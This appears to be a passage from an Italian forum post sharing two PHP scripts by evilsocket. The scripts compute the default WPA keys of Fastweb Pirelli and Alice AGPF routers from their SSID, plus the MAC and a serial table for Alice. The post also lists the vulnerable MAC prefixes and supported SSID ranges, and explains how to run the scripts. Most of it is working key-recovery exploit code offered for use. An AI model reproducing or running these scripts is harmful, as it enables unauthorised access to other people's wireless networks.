Viene volutamente utilizzata la gpu perchè risulta molto più performante in certi tipologie di calcoli ripetto alla cpu.
La WhiteHatCrew è riuscita a risalire all'algoritmo con cui vengono generate le password wireless nei router Alice e Fastweb, per dettagli sull'algoritmo Wireless Security Researchers
Script di evilsocket per Fastweb:
Code:
<?php
/***************************************************************************
* FastWeb Pirelli WPA Discovery *
* by evilsocket - evilsocket@gmail.com - http://www.evilsocket.net *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the *
* Free Software Foundation, Inc., *
* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
***************************************************************************/
/*
* SSID di partenza.
*/
$ssid = "FASTWEB-1-00193EA1B2C3";
/*
* 20 byte costanti cablati nel firmware dei Pirelli Fastweb.
*/
$seq_20 = "\x22\x33\x11\x34\x02\x81\xFA\x22\x11\x41\x68\x11\x12\x01\x05\x22\x71\x42\x10\x66";
/*
* Prelevo la parte finale del SSID.
*/
$sn = split( '-', $ssid );
$sn = $sn[2];
/*
* La divido in gruppi di due caratteri, formando un array
* di 6 rappresentazioni esadecimali di byte.
*/
preg_match_all( "/[a-f0-9]{2}/i", $sn, $sn_bytes );
$sn_bytes = $sn_bytes[0];
/*
* Inizializzo una stringa con il valore intero di questi byte.
*/
$str = "";
for( $i = 0; $i < 6; $i++ ){
$str .= chr( hexdec( $sn_bytes[$i] ) );
}
/*
* Aggiungo alla stringa i 20 byte "magici".
*/
$str .= $seq_20;
/*
* Ricavo i byte dell'hash md5 della stringa
*/
preg_match_all( "/[a-f0-9]{2}/i", md5($str), $md5_bytes );
$md5_bytes = $md5_bytes[0];
$long = "";
/*
* Converto i byte in sequenze binarie di 8 bit.
*/
foreach( $md5_bytes as $byte ){
$long .= sprintf( "%08s", decbin( hexdec($byte) ) );
}
/*
* Divido in 5 gruppi di 5 bit ognuno e, qual'ora il valore intero
* di un gruppo sia maggiore di 0x0a, aggiungo 0x57.
*/
$hex_5 = array();
for( $i = 0; $i < 25; $i += 5 ){
$n = bindec( substr( $long, $i, 5 ) );
$hex_5[] = $n > 0x0a ? $n + 0x57 : $n;
}
/*
* Compongo la chiave.
*/
$wpa = "";
foreach( $hex_5 as $hex ){
$wpa .= sprintf( "%02x", $hex );
}
print "WPA : $wpa\n";
?>
Attualmente è possibile recuperare la chiave Wireless degli Access Point FastWeb Pirelli, nello specifico con i seguenti Mac Address:
00:08:27 Pirelli Broadband Solutions
00:13:C8 Pirelli Broadband Solutions
00:17:C2 Pirelli Broadband Solutions
00:19:3E Pirelli Broadband Solutions
00:1C:A2 Pirelli Broadband Solutions
00:1D:8B Pirelli Broadband Solutions
00:22:33 Pirelli Broadband Solutions
00:23:8E Pirelli Broadband Solutions
00:25:53 Pirelli Broadband Solutions
00:03:6F Telsey S.p.A. (in fase di Test)
00:21:96 Telsey S.p.A. (in fase di Test)
Script Alice:
Code:
<?php
/***************************************************************************
* Alice AGPF WPA Discovery *
* by evilsocket - evilsocket@gmail.com - http://www.evilsocket.net *
* based on <http://wifiresearchers.wordpress.com/> *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the *
* Free Software Foundation, Inc., *
* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
***************************************************************************/
/*
* Tabella per il calcolo del seriale.
*
* First SSID digits => ( SN1, k, Q )
*/
$SN_TABLE = array( '96' => array( '69102', 13, 96017051 ),
'93' => array( '69101', 13, 92398366 ),
'56' => array( '67902', 13, 54808800 ),
'55' => array( '67904', 8, 55164449 ),
'54' => array( '67903', 8, 52420689 ),
'48' => array( '67903', 8, 47896103 ),
'46' => array( '67902', 13, 39015145 ) );
/*
* Numeri magici da utilizzare per il calcolo dell'SHA256.
*/
$ALIS = "\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8";
/*
* Tabella di conversione da hash a wpa.
*/
$CONV_TABLE = "0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuv".
"wxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123";
/*
* SSID della rete.
*/
$SSID = "Alice-96154825";
/*
* MAC address del router.
*/
$MAC = "\x00\x23\x8E\x01\x02\x03";
/*
* Calcolo il seriale in base al SSID e alla tabella dei valori noti.
*/
$SN = SSID2SN($SSID);
/*
* Calcolo SHA256( MagicN + SN + MAC )
*/
$hash = SHA256( $ALIS.$SN.$MAC );
/*
* Converto la stringa dell'hash in un array di byte.
*/
$bytes = hash2bytes($hash);
/*
* Trovo la WPA utilizzando i primi 24 byte dell'hash come indici della tabella di covnersione.
*/
$wpa = "";
for( $i = 0; $i < 24; $i++ ){
$wpa .= $CONV_TABLE[ $bytes[$i] ];
}
echo "WPA : $wpa\n";
/*
* Funzione per risalire al seriale del router partendo dal suo SSID e utilizzando
* le tabelle dei valori noti.
*/
function SSID2SN( $ssid ){
global $SN_TABLE;
/*
* Prelevo il numero intero dall'SSID e ne prendo le prime due cifre
* per verificare che il router sia presente nella tabella.
*/
preg_match_all( "/^Alice\-([0-9]+)/", $ssid, $m );
$ssidn = $m[1][0];
$id = substr( $ssidn, 0, 2 );
if( isset( $SN_TABLE[$id] ) ){
/*
* Ok, il router è presente nella tabella, prelevo la prima parte del seriale e
* le costanti k e Q da utilizzare nell'equazione finale.
*/
$sn1 = $SN_TABLE[$id][0];
$k = $SN_TABLE[$id][1];
$Q = $SN_TABLE[$id][2];
/*
* La seconda parte del seriale equivale a :
* (SSID - Q) / k
*/
$sn2 = ((int)$ssidn - $Q) / $k;
/*
* Restituisco il seriale completo.
*/
return $sn1.'X'.sprintf( "%07s", $sn2 );
}
/*
* Router non presente nella tabella.
*/
else{
die( "La serie 'Alice-$id******' non è presente nella tabella e non è supportata.\n" );
}
}
/*
* Funzione per il calcolo di un hash SHA256.
*/
function SHA256( $phrase ){
return bin2hex( mhash( MHASH_SHA256, $phrase ) );
}
/*
* Funzione per convertire un hash in un array di byte interi.
*/
function hash2bytes( $hash ){
preg_match_all( "/[a-f0-9]{2}/i", $hash, $hash_bytes );
$bytes = array();
foreach( $hash_bytes[0] as $byte ){
$bytes[] = hexdec($byte);
}
return $bytes;
}
?>
Evilsocket aggiunge:
Code:
A differenza del caso FastWeb, il quale per il calcolo si basava solo sull SSID della rete, in questo caso ci serve anche il seriale del router che, come dimostrato dalla ricerca precedentemente linkata, è ricavabile tramite un sistema a due incognite dal quale, la WHC, ha tirato fuori una tabella di valori noti, tabella che ho inserito nel mio script.
Di conseguenza, a meno che il lettore non ampli la propria tabella a mano, seguendo le indicazioni della WHC, lo script funzionerà solo con SSID del tipo :
* Alice-96xxxxxx
* Alice-93xxxxxx
* Alice-56xxxxxx
* Alice-55xxxxxx
* Alice-54xxxxxx
* Alice-48xxxxxx
* Alice-46xxxxxx
Sono sicuro cmq che cercando nella rete delle tabelle un po più estese si trovano ;)
Utilizzo aprire gli script con kate, modifcare la voce "$SSID.....", salvare e da terminale
Code:
php ./nomescript.php